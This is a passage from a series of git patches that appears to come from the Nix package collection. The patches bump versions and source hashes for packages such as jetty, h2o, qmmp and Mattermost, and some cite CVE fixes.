index cc661c6378e4..171fd6943e59 100644
--- a/pkgs/servers/http/jetty/default.nix
+++ b/pkgs/servers/http/jetty/default.nix
@@ -57,7 +57,7 @@ in
   };
 
   jetty_12 = common {
-    version = "12.0.22";
-    hash = "sha256-Ey3z+C+cBh8clWqcGULEsQQcbSbuaGwGr+arJE+GChs=";
+    version = "12.0.23";
+    hash = "sha256-oY6IU59ir52eM4qO2arOLErN4CEUCT0iRM4I9ip+m3I=";
   };
 }

From 0abcabe23cf78fadacb0dc75e850c35bfac5a7b9 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Thu, 21 Aug 2025 12:26:49 +0200
Subject: [PATCH 4080/4511] jetty_12: 12.0.23 -> 12.0.25

Fixes CVE-2025-5115 / https://github.com/jetty/jetty.project/security/advisories/GHSA-mmxm-8w33-wc4h

Changes:
https://github.com/jetty/jetty.project/releases/tag/jetty-12.0.25
https://github.com/jetty/jetty.project/releases/tag/jetty-12.0.24
(cherry picked from commit 30ba49942104a8e9b791f6f7ede53e551c8d066b)
---
 pkgs/servers/http/jetty/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/http/jetty/default.nix b/pkgs/servers/http/jetty/default.nix
index 171fd6943e59..708a5f6c712d 100644
--- a/pkgs/servers/http/jetty/default.nix
+++ b/pkgs/servers/http/jetty/default.nix
@@ -57,7 +57,7 @@ in
   };
 
   jetty_12 = common {
-    version = "12.0.23";
-    hash = "sha256-oY6IU59ir52eM4qO2arOLErN4CEUCT0iRM4I9ip+m3I=";
+    version = "12.0.25";
+    hash = "sha256-rbLCP0EPPipaNMPtyelLIoK7RMHAZ9I6neV6BpGacWc=";
   };
 }

From 7089c8bdffe604a9d28056e32744122843a965d2 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 27 Aug 2025 05:08:41 +0000
Subject: [PATCH 4081/4511] jetty: 12.0.25 -> 12.1.0

(cherry picked from commit 1d5f62e36655dec589a3972cda8c9c30d43708de)
---
 pkgs/servers/http/jetty/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/http/jetty/default.nix b/pkgs/servers/http/jetty/default.nix
index 708a5f6c712d..0669a31c14a5 100644
--- a/pkgs/servers/http/jetty/default.nix
+++ b/pkgs/servers/http/jetty/default.nix
@@ -57,7 +57,7 @@ in
   };
 
   jetty_12 = common {
-    version = "12.0.25";
-    hash = "sha256-rbLCP0EPPipaNMPtyelLIoK7RMHAZ9I6neV6BpGacWc=";
+    version = "12.1.0";
+    hash = "sha256-wVStusEURjaBYoh/37vO7PvdNFXrn7rLccchWGYzz+8=";
   };
 }

From 4bcc3142fabdd797e3b676b61b6a63a992a5316c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 21 May 2025 19:07:01 +0000
Subject: [PATCH 4082/4511] qmmp: 2.2.5 -> 2.2.6

(cherry picked from commit c3ed7942c9a3db482806107d3bc3033e4d340e90)
---
 pkgs/by-name/qm/qmmp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/qm/qmmp/package.nix b/pkgs/by-name/qm/qmmp/package.nix
index afe7406a6a97..e9c91a1a10d6 100644
--- a/pkgs/by-name/qm/qmmp/package.nix
+++ b/pkgs/by-name/qm/qmmp/package.nix
@@ -54,11 +54,11 @@
 
 stdenv.mkDerivation rec {
   pname = "qmmp";
-  version = "2.2.5";
+  version = "2.2.6";
 
   src = fetchurl {
     url = "https://qmmp.ylsoftware.com/files/qmmp/2.2/${pname}-${version}.tar.bz2";
-    hash = "sha256-WCEfMnrDhau8fXXmpdjdZLzbXMDxEZMp8pJ9FjEJfhg=";
+    hash = "sha256-Jw7Kb9co2aC8fxnpTg4OH2o8RNreZI3/pYoNu3OWy0s=";
   };
 
   nativeBuildInputs = [

From 80842a1ae7447c6463620baf863a05c658fdee6d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 29 Jun 2025 12:48:48 +0000
Subject: [PATCH 4083/4511] qmmp: 2.2.6 -> 2.2.7

(cherry picked from commit 0d6370788afe04913e91234f130868cd7c0cfc92)
---
 pkgs/by-name/qm/qmmp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/qm/qmmp/package.nix b/pkgs/by-name/qm/qmmp/package.nix
index e9c91a1a10d6..adc1427480ce 100644
--- a/pkgs/by-name/qm/qmmp/package.nix
+++ b/pkgs/by-name/qm/qmmp/package.nix
@@ -54,11 +54,11 @@
 
 stdenv.mkDerivation rec {
   pname = "qmmp";
-  version = "2.2.6";
+  version = "2.2.7";
 
   src = fetchurl {
     url = "https://qmmp.ylsoftware.com/files/qmmp/2.2/${pname}-${version}.tar.bz2";
-    hash = "sha256-Jw7Kb9co2aC8fxnpTg4OH2o8RNreZI3/pYoNu3OWy0s=";
+    hash = "sha256-3c/wthj0eQgC9tUtmnlrXzLLfQ8jyZGBuAT2FPq1+7I=";
   };
 
   nativeBuildInputs = [

From a308484c92bc34aed63429fe71d847273c721bc4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 22 Aug 2025 00:57:06 +0000
Subject: [PATCH 4084/4511] qmmp: 2.2.7 -> 2.2.8

(cherry picked from commit f68e7e745bea059a585e1a831dfbd691f5165bd7)
---
 pkgs/by-name/qm/qmmp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/qm/qmmp/package.nix b/pkgs/by-name/qm/qmmp/package.nix
index adc1427480ce..0006efa17170 100644
--- a/pkgs/by-name/qm/qmmp/package.nix
+++ b/pkgs/by-name/qm/qmmp/package.nix
@@ -54,11 +54,11 @@
 
 stdenv.mkDerivation rec {
   pname = "qmmp";
-  version = "2.2.7";
+  version = "2.2.8";
 
   src = fetchurl {
     url = "https://qmmp.ylsoftware.com/files/qmmp/2.2/${pname}-${version}.tar.bz2";
-    hash = "sha256-3c/wthj0eQgC9tUtmnlrXzLLfQ8jyZGBuAT2FPq1+7I=";
+    hash = "sha256-cwqXoGOkmOs32p4vgZjf5XBpPmpsfyshDVgb2H27k4o=";
   };
 
   nativeBuildInputs = [

From 426d3f527c5fe29e32be53b1278b479a1a392b70 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 28 Aug 2025 12:15:33 +0000
Subject: [PATCH 4085/4511] postgresqlPackages.pg_net: 0.19.5 -> 0.19.7

(cherry picked from commit 27489d44efd7eb685773901b047f84486eeae777)
---
 pkgs/servers/sql/postgresql/ext/pg_net.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/pg_net.nix b/pkgs/servers/sql/postgresql/ext/pg_net.nix
index 7c006b68b24f..7682d8f2119a 100644
--- a/pkgs/servers/sql/postgresql/ext/pg_net.nix
+++ b/pkgs/servers/sql/postgresql/ext/pg_net.nix
@@ -8,13 +8,13 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "pg_net";
-  version = "0.19.5";
+  version = "0.19.7";
 
   src = fetchFromGitHub {
     owner = "supabase";
     repo = "pg_net";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Cpi2iASi1QJoED0Qs1dANqg/BNZTsz5S+pw8iYyW03Y=";
+    hash = "sha256-HQiFD8vhox7SmjJIDyVnnwt8DCENKABIZTMfTjGElwU=";
   };
 
   buildInputs = [ curl ];

From d522ba2c3d35b09bb1788a8730e6126ef15a3a9c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 30 Jul 2025 20:02:24 +0000
Subject: [PATCH 4086/4511] nightfox-gtk-theme: 0-unstable-2025-07-21 ->
 0-unstable-2025-07-28

(cherry picked from commit ec248b82aa7bdd7a14690975fe58eaadb694185a)
---
 pkgs/by-name/ni/nightfox-gtk-theme/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ni/nightfox-gtk-theme/package.nix b/pkgs/by-name/ni/nightfox-gtk-theme/package.nix
index 219c50bb0390..4361cf140bca 100644
--- a/pkgs/by-name/ni/nightfox-gtk-theme/package.nix
+++ b/pkgs/by-name/ni/nightfox-gtk-theme/package.nix
@@ -70,13 +70,13 @@ lib.checkListOfEnum "${pname}: colorVariants" colorVariantList colorVariants lib
   stdenvNoCC.mkDerivation
   {
     inherit pname;
-    version = "0-unstable-2025-07-21";
+    version = "0-unstable-2025-07-28";
 
     src = fetchFromGitHub {
       owner = "Fausto-Korpsvart";
       repo = "Nightfox-GTK-Theme";
-      rev = "d6327b176d19f6f00a9fbe0175fb95953c12b7de";
-      hash = "sha256-46ur/Mvc8r1yr/ViZ+pEbK2OdVSqJCSBh7e9AfrRIRY=";
+      rev = "ea0172aa853e8f6c2b00568c4cd6dcbea7991b7c";
+      hash = "sha256-9+RBAG/JKGXjW6zRut8eXM4EYkbNRZ+yw5tLDrSMBXg=";
     };
 
     propagatedUserEnvPkgs = [ gtk-engine-murrine ];

From e006e08461ca8569c6b4fe3f85b1442fd0be957d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 26 Aug 2025 04:40:26 +0000
Subject: [PATCH 4087/4511] nightfox-gtk-theme: 0-unstable-2025-07-28 ->
 0-unstable-2025-08-21

(cherry picked from commit 5b7cc7296b07259aac5d0aca6dd00c27551192c4)
---
 pkgs/by-name/ni/nightfox-gtk-theme/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ni/nightfox-gtk-theme/package.nix b/pkgs/by-name/ni/nightfox-gtk-theme/package.nix
index 4361cf140bca..2a07c05b2c39 100644
--- a/pkgs/by-name/ni/nightfox-gtk-theme/package.nix
+++ b/pkgs/by-name/ni/nightfox-gtk-theme/package.nix
@@ -70,13 +70,13 @@ lib.checkListOfEnum "${pname}: colorVariants" colorVariantList colorVariants lib
   stdenvNoCC.mkDerivation
   {
     inherit pname;
-    version = "0-unstable-2025-07-28";
+    version = "0-unstable-2025-08-21";
 
     src = fetchFromGitHub {
       owner = "Fausto-Korpsvart";
       repo = "Nightfox-GTK-Theme";
-      rev = "ea0172aa853e8f6c2b00568c4cd6dcbea7991b7c";
-      hash = "sha256-9+RBAG/JKGXjW6zRut8eXM4EYkbNRZ+yw5tLDrSMBXg=";
+      rev = "4d73329de5ac65dc3e957e1635d471c7d3122a6b";
+      hash = "sha256-QTsouPINcn8coLk5z2EFMG1egP97rFVPgiYqGhwu62c=";
     };
 
     propagatedUserEnvPkgs = [ gtk-engine-murrine ];

From ec27e40552cb0a16c4d791845ea1f990b76702fb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=C2=B7=F0=90=91=91=F0=90=91=B4=F0=90=91=95=F0=90=91=91?=
 =?UTF-8?q?=F0=90=91=A9=F0=90=91=A4?= <toastal@posteo.net>
Date: Mon, 19 May 2025 13:29:29 +0700
Subject: [PATCH 4088/4511] =?UTF-8?q?h2o:=202.3.0.20250430=20=E2=86=92=202?=
 =?UTF-8?q?.3.0.20250519?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit 90d767a7a475613b0f3ebb8c95ae113ff3fcf637)
---
 pkgs/by-name/h2/h2o/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/h2/h2o/package.nix b/pkgs/by-name/h2/h2o/package.nix
index 76b485b83d57..af18aa8e9f0f 100644
--- a/pkgs/by-name/h2/h2o/package.nix
+++ b/pkgs/by-name/h2/h2o/package.nix
@@ -24,13 +24,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "h2o";
-  version = "2.3.0.20250430";
+  version = "2.3.0.20250519";
 
   src = fetchFromGitHub {
     owner = "h2o";
     repo = "h2o";
-    rev = "f1918a5b9f75f4da9db801b442886cb13b3c7bcd";
-    sha256 = "sha256-sfOkyEhlLGmXjYqRoI/8pD6/NBY7q6K9y2vS7qwJmrw=";
+    rev = "87e2aa634f2c0d9f3d9429f7a3cf273f98db0058";
+    sha256 = "sha256-/9YnaOqvYmFme4/mFq8Sx78FMDyGwnErEW45qPVELjU=";
   };
 
   patches = [

From b585767ce75eefb050ca25e7cccff22ef161d4bd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=C2=B7=F0=90=91=91=F0=90=91=B4=F0=90=91=95=F0=90=91=91?=
 =?UTF-8?q?=F0=90=91=A9=F0=90=91=A4?= <toastal@posteo.net>
Date: Sat, 12 Jul 2025 21:43:30 +0700
Subject: [PATCH 4089/4511] =?UTF-8?q?h2o:=202.3.0.20250519=20=E2=86=92=202?=
 =?UTF-8?q?.3.0.20250716?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit f010e1d47a3123a9362f98ad19c361bfcdf71d7c)
---
 pkgs/by-name/h2/h2o/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/h2/h2o/package.nix b/pkgs/by-name/h2/h2o/package.nix
index af18aa8e9f0f..4c7a1581f687 100644
--- a/pkgs/by-name/h2/h2o/package.nix
+++ b/pkgs/by-name/h2/h2o/package.nix
@@ -24,13 +24,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "h2o";
-  version = "2.3.0.20250519";
+  version = "2.3.0.20250716";
 
   src = fetchFromGitHub {
     owner = "h2o";
     repo = "h2o";
-    rev = "87e2aa634f2c0d9f3d9429f7a3cf273f98db0058";
-    sha256 = "sha256-/9YnaOqvYmFme4/mFq8Sx78FMDyGwnErEW45qPVELjU=";
+    rev = "a7ee72ea84815f393353e66c02181832fcd8dbb3";
+    sha256 = "sha256-vym1oF/oFjrcQaKJWqwOYxNRHDsrX0vVh5Li0Zl96KY=";
   };
 
   patches = [

From d8aa1c1be2caf8a99999d745cb3d3a4c1ef7779c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=C2=B7=F0=90=91=91=F0=90=91=B4=F0=90=91=95=F0=90=91=91?=
 =?UTF-8?q?=F0=90=91=A9=F0=90=91=A4?= <toastal@posteo.net>
Date: Thu, 17 Jul 2025 19:12:48 +0700
Subject: [PATCH 4090/4511] =?UTF-8?q?h2o:=202.3.0.20250716=20=E2=86=92=202?=
 =?UTF-8?q?.3.0.20250717?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit eb360fbe6efdcfee8a7bcc5f3b414f2bd81db770)
---
 pkgs/by-name/h2/h2o/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/h2/h2o/package.nix b/pkgs/by-name/h2/h2o/package.nix
index 4c7a1581f687..71f7823ca670 100644
--- a/pkgs/by-name/h2/h2o/package.nix
+++ b/pkgs/by-name/h2/h2o/package.nix
@@ -24,13 +24,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "h2o";
-  version = "2.3.0.20250716";
+  version = "2.3.0.20250717";
 
   src = fetchFromGitHub {
     owner = "h2o";
     repo = "h2o";
-    rev = "a7ee72ea84815f393353e66c02181832fcd8dbb3";
-    sha256 = "sha256-vym1oF/oFjrcQaKJWqwOYxNRHDsrX0vVh5Li0Zl96KY=";
+    rev = "db98b59ba7abfcd1dc9b43ea4b9ad1052aba775e";
+    sha256 = "sha256-vBA5TWyvtaaBZV4RmfAAA7F34fXNkROS0rbZRpEJgrc=";
   };
 
   patches = [

From 2d03e530e9025d8f1f3fbaa7cd6a81c29c7b1216 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=C2=B7=F0=90=91=91=F0=90=91=B4=F0=90=91=95=F0=90=91=91?=
 =?UTF-8?q?=F0=90=91=A9=F0=90=91=A4?= <toastal@posteo.net>
Date: Wed, 13 Aug 2025 20:32:59 +0700
Subject: [PATCH 4091/4511] =?UTF-8?q?h2o:=202.3.0.20250717=20=E2=86=92=202?=
 =?UTF-8?q?.3.0-untagged-2025-08-13?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit dc5539cb9f7a70ab79c2cc7eefe69fd6677ef6c0)
---
 pkgs/by-name/h2/h2o/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/h2/h2o/package.nix b/pkgs/by-name/h2/h2o/package.nix
index 71f7823ca670..587c167388ae 100644
--- a/pkgs/by-name/h2/h2o/package.nix
+++ b/pkgs/by-name/h2/h2o/package.nix
@@ -24,13 +24,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "h2o";
-  version = "2.3.0.20250717";
+  version = "2.3.0-untagged-2025-08-13";
 
   src = fetchFromGitHub {
     owner = "h2o";
     repo = "h2o";
-    rev = "db98b59ba7abfcd1dc9b43ea4b9ad1052aba775e";
-    sha256 = "sha256-vBA5TWyvtaaBZV4RmfAAA7F34fXNkROS0rbZRpEJgrc=";
+    rev = "4729b661e3c6654198d2cc62997e1af58bef4b80";
+    sha256 = "sha256-3vVe2nveWohpxtqECq/wcPupAHaRRoG54sG94J+3eyQ=";
   };
 
   patches = [

From 73d8297d716412a960e7c9efe61fdf30ce04d4f4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=C2=B7=F0=90=91=91=F0=90=91=B4=F0=90=91=95=F0=90=91=91?=
 =?UTF-8?q?=F0=90=91=A9=F0=90=91=A4?= <toastal@posteo.net>
Date: Mon, 18 Aug 2025 22:11:05 +0700
Subject: [PATCH 4092/4511] =?UTF-8?q?h2o:=202.3.0-untagged-2025-08-13=20?=
 =?UTF-8?q?=E2=86=92=202.3.0-untagged-2025-08-14?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit 03e079da8e7ac9e046bb15e95b25a1e793c3598c)
---
 pkgs/by-name/h2/h2o/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/h2/h2o/package.nix b/pkgs/by-name/h2/h2o/package.nix
index 587c167388ae..9bf7a34a6109 100644
--- a/pkgs/by-name/h2/h2o/package.nix
+++ b/pkgs/by-name/h2/h2o/package.nix
@@ -24,13 +24,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "h2o";
-  version = "2.3.0-untagged-2025-08-13";
+  version = "2.3.0-untagged-2025-08-14";
 
   src = fetchFromGitHub {
     owner = "h2o";
     repo = "h2o";
-    rev = "4729b661e3c6654198d2cc62997e1af58bef4b80";
-    sha256 = "sha256-3vVe2nveWohpxtqECq/wcPupAHaRRoG54sG94J+3eyQ=";
+    rev = "ffab9c49c33b1f0e9aec9804028156aae9db8ef0";
+    sha256 = "sha256-kdU2p9oUhxGnw8JU9qGjV4mn2jMeSUL0rLgveMs6NiI=";
   };
 
   patches = [

From 5d82502b721fe11c555e3ddbe6aa99effaf10a62 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=C2=B7=F0=90=91=91=F0=90=91=B4=F0=90=91=95=F0=90=91=91?=
 =?UTF-8?q?=F0=90=91=A9=F0=90=91=A4?= <toastal@posteo.net>
Date: Sat, 16 Aug 2025 11:07:10 +0700
Subject: [PATCH 4093/4511] =?UTF-8?q?h2o:=20src.sha256=20=E2=86=92=20src.h?=
 =?UTF-8?q?ash?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit b9192b4dc310aa0b8b1e6bfd88345de54e2ca964)
---
 pkgs/by-name/h2/h2o/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/h2/h2o/package.nix b/pkgs/by-name/h2/h2o/package.nix
index 9bf7a34a6109..626cd7701133 100644
--- a/pkgs/by-name/h2/h2o/package.nix
+++ b/pkgs/by-name/h2/h2o/package.nix
@@ -30,7 +30,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "h2o";
     repo = "h2o";
     rev = "ffab9c49c33b1f0e9aec9804028156aae9db8ef0";
-    sha256 = "sha256-kdU2p9oUhxGnw8JU9qGjV4mn2jMeSUL0rLgveMs6NiI=";
+    hash = "sha256-kdU2p9oUhxGnw8JU9qGjV4mn2jMeSUL0rLgveMs6NiI=";
   };
 
   patches = [

From 9a0acc8a0560fc245c39c4c74cb748adde836025 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=C2=B7=F0=90=91=91=F0=90=91=B4=F0=90=91=95=F0=90=91=91?=
 =?UTF-8?q?=F0=90=91=A9=F0=90=91=A4?= <toastal@posteo.net>
Date: Sat, 30 Aug 2025 18:11:16 -0400
Subject: [PATCH 4094/4511] =?UTF-8?q?h2o:=202.3.0-untagged-2025-08-14=20?=
 =?UTF-8?q?=E2=86=92=202.3.0-rolling-2025-08-22?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit 37cb69ecdcceacd8588f5085622521c90e5c9386)
---
 pkgs/by-name/h2/h2o/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/h2/h2o/package.nix b/pkgs/by-name/h2/h2o/package.nix
index 626cd7701133..9c96ac2ba420 100644
--- a/pkgs/by-name/h2/h2o/package.nix
+++ b/pkgs/by-name/h2/h2o/package.nix
@@ -24,13 +24,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "h2o";
-  version = "2.3.0-untagged-2025-08-14";
+  version = "2.3.0-rolling-2025-08-22";
 
   src = fetchFromGitHub {
     owner = "h2o";
     repo = "h2o";
-    rev = "ffab9c49c33b1f0e9aec9804028156aae9db8ef0";
-    hash = "sha256-kdU2p9oUhxGnw8JU9qGjV4mn2jMeSUL0rLgveMs6NiI=";
+    rev = "6476496bd544c3c7f601d7ab2b07e378e8310e11";
+    hash = "sha256-ZSBYg1HCuYifTyDmHyNIjEWab5N1TT+q/4m62mFFDJ0=";
   };
 
   patches = [

From bf0a32da53d0325341c6f038653adcb3c5610531 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sat, 30 Aug 2025 18:11:32 -0400
Subject: [PATCH 4095/4511] Revert "h2o: apply patch for CVE-2025-8671"

This reverts commit b1fe6da0be086f16a130ed7fe424df9220c65d61.

No longer needed: the entire upgrade has now been backported.

Not-cherry-picked-because: this is a revert of a commit that isn't in master.
---
 pkgs/by-name/h2/h2o/package.nix | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/pkgs/by-name/h2/h2o/package.nix b/pkgs/by-name/h2/h2o/package.nix
index 9c96ac2ba420..2f4b722984d9 100644
--- a/pkgs/by-name/h2/h2o/package.nix
+++ b/pkgs/by-name/h2/h2o/package.nix
@@ -2,7 +2,6 @@
   lib,
   stdenv,
   fetchFromGitHub,
-  fetchpatch,
   pkg-config,
   cmake,
   makeWrapper,
@@ -33,16 +32,6 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-ZSBYg1HCuYifTyDmHyNIjEWab5N1TT+q/4m62mFFDJ0=";
   };
 
-  patches = [
-    (fetchpatch {
-      # https://github.com/h2o/h2o/security/advisories/GHSA-mrjm-qq9m-9mjq
-      # https://kb.cert.org/vuls/id/767506
-      name = "CVE-2025-8671.patch";
-      url = "https://github.com/h2o/h2o/commit/579ecfaca155d1f9f12bfd0cff6086dcda4b9692.patch";
-      hash = "sha256-bNnhx5RGBw6SmKmhlACHKPsnVUPzQUqHsunPdiayzv0=";
-    })
-  ];
-
   outputs = [
     "out"
     "man"

From babec0e68c7823405cd695fdaaa906b5f246b7cc Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 26 Jun 2025 12:27:30 +0000
Subject: [PATCH 4096/4511] mattermostLatest: 10.9.1 -> 10.9.2

(cherry picked from commit d74d461e7a77c00c73d81f78c37793f9142a073f)
---
 pkgs/by-name/ma/mattermostLatest/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/mattermostLatest/package.nix b/pkgs/by-name/ma/mattermostLatest/package.nix
index b669edf643b0..cd8903414442 100644
--- a/pkgs/by-name/ma/mattermostLatest/package.nix
+++ b/pkgs/by-name/ma/mattermostLatest/package.nix
@@ -11,8 +11,8 @@ mattermost.override {
     # and make sure the version regex is up to date here.
     # Ensure you also check ../mattermost/package.nix for ESR releases.
     regex = "^v(10\\.[0-9]+\\.[0-9]+)$";
-    version = "10.9.1";
-    srcHash = "sha256-U9PbI2rzoMW48cDFJuhHrL7BWFrqTN7lgTbeL1N0dpQ=";
+    version = "10.9.2";
+    srcHash = "sha256-0el9PROsErFFnOIhv+TdFAXaXRECEeBqaiaPGMt5M5E=";
     vendorHash = "sha256-+wmemZZyuz90VCXjO0ekplxdkv2p0s5h4qUObAA0XwU=";
     npmDepsHash = "sha256-uAB599r3ZWjnt+jwk7sjSiPsc/tUyiBZzGqLZxuU3xE=";
     lockfileOverlay = ''

From 4d1f483796be9f5423d8d687a29568269717152d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 15 Jul 2025 12:20:01 +0000
Subject: [PATCH 4097/4511] mattermostLatest: 10.9.2 -> 10.10.1

(cherry picked from commit ada9b83c4da43a792f68505de05e928eb774b733)
---
 pkgs/by-name/ma/mattermostLatest/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ma/mattermostLatest/package.nix b/pkgs/by-name/ma/mattermostLatest/package.nix
index cd8903414442..69d2dcf29a24 100644
--- a/pkgs/by-name/ma/mattermostLatest/package.nix
+++ b/pkgs/by-name/ma/mattermostLatest/package.nix
@@ -11,10 +11,10 @@ mattermost.override {
     # and make sure the version regex is up to date here.
     # Ensure you also check ../mattermost/package.nix for ESR releases.
     regex = "^v(10\\.[0-9]+\\.[0-9]+)$";
-    version = "10.9.2";
-    srcHash = "sha256-0el9PROsErFFnOIhv+TdFAXaXRECEeBqaiaPGMt5M5E=";
-    vendorHash = "sha256-+wmemZZyuz90VCXjO0ekplxdkv2p0s5h4qUObAA0XwU=";
-    npmDepsHash = "sha256-uAB599r3ZWjnt+jwk7sjSiPsc/tUyiBZzGqLZxuU3xE=";
+    version = "10.10.1";
+    srcHash = "sha256-tPjwtbGzg1G9fWoo8UC82RLm2GOQhvtQiw4vXKxz2ww=";
+    vendorHash = "sha256-hsTmqwISOln2YlMXNBXKu4iPwWsLEyoe5IIth9lYjbM=";
+    npmDepsHash = "sha256-Uv2lqcz2AV/gJJFWSN5cSP7JYgnEJBXzexruKqNU7p4=";
     lockfileOverlay = ''
       unlock(.; "@floating-ui/react"; "channels/node_modules/@floating-ui/react")
     '';

From 0c88c0fa6bf780ec9883f70002690b1db7030b32 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 10 Aug 2025 16:25:14 +0000
Subject: [PATCH 4098/4511] mattermostLatest: 10.10.1 -> 10.11.1

(cherry picked from commit b8f4e2b88a75b098efb5b664d26c177a929139de)
---
 pkgs/by-name/ma/mattermostLatest/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ma/mattermostLatest/package.nix b/pkgs/by-name/ma/mattermostLatest/package.nix
index 69d2dcf29a24..21467244b2a9 100644
--- a/pkgs/by-name/ma/mattermostLatest/package.nix
+++ b/pkgs/by-name/ma/mattermostLatest/package.nix
@@ -11,10 +11,10 @@ mattermost.override {
     # and make sure the version regex is up to date here.
     # Ensure you also check ../mattermost/package.nix for ESR releases.
     regex = "^v(10\\.[0-9]+\\.[0-9]+)$";
-    version = "10.10.1";
-    srcHash = "sha256-tPjwtbGzg1G9fWoo8UC82RLm2GOQhvtQiw4vXKxz2ww=";
-    vendorHash = "sha256-hsTmqwISOln2YlMXNBXKu4iPwWsLEyoe5IIth9lYjbM=";
-    npmDepsHash = "sha256-Uv2lqcz2AV/gJJFWSN5cSP7JYgnEJBXzexruKqNU7p4=";
+    version = "10.11.1";
+    srcHash = "sha256-iWznWqnsPDcq9hZqnPHCxqsOJESolVWDC6413hitFpk=";
+    vendorHash = "sha256-Lqa463LLy41aaRbrtJFclfOj55vLjK4pWFAFLzX3TJE=";
+    npmDepsHash = "sha256-p9dq31qw0EZDQIl2ysKE38JgDyLA6XvSv+VtHuRh+8A=";
     lockfileOverlay = ''
       unlock(.; "@floating-ui/react"; "channels/node_modules/@floating-ui/react")
     '';

From aaa14e7725c8f938060c18dcc9033973d1ce71e3 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 5 Aug 2025 04:43:20 +0200
Subject: [PATCH 4099/4511] python3Packages.qt-material: 2.14 -> 2.17

This commit was automatically generated using update-python-libraries.

(cherry picked from commit 7b21af5aba61994e437adf3470e2579654d3f91b)
---
 pkgs/development/python-modules/qt-material/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/qt-material/default.nix b/pkgs/development/python-modules/qt-material/default.nix
index 2a6d64c55e22..24c279dc3e89 100644
--- a/pkgs/development/python-modules/qt-material/default.nix
+++ b/pkgs/development/python-modules/qt-material/default.nix
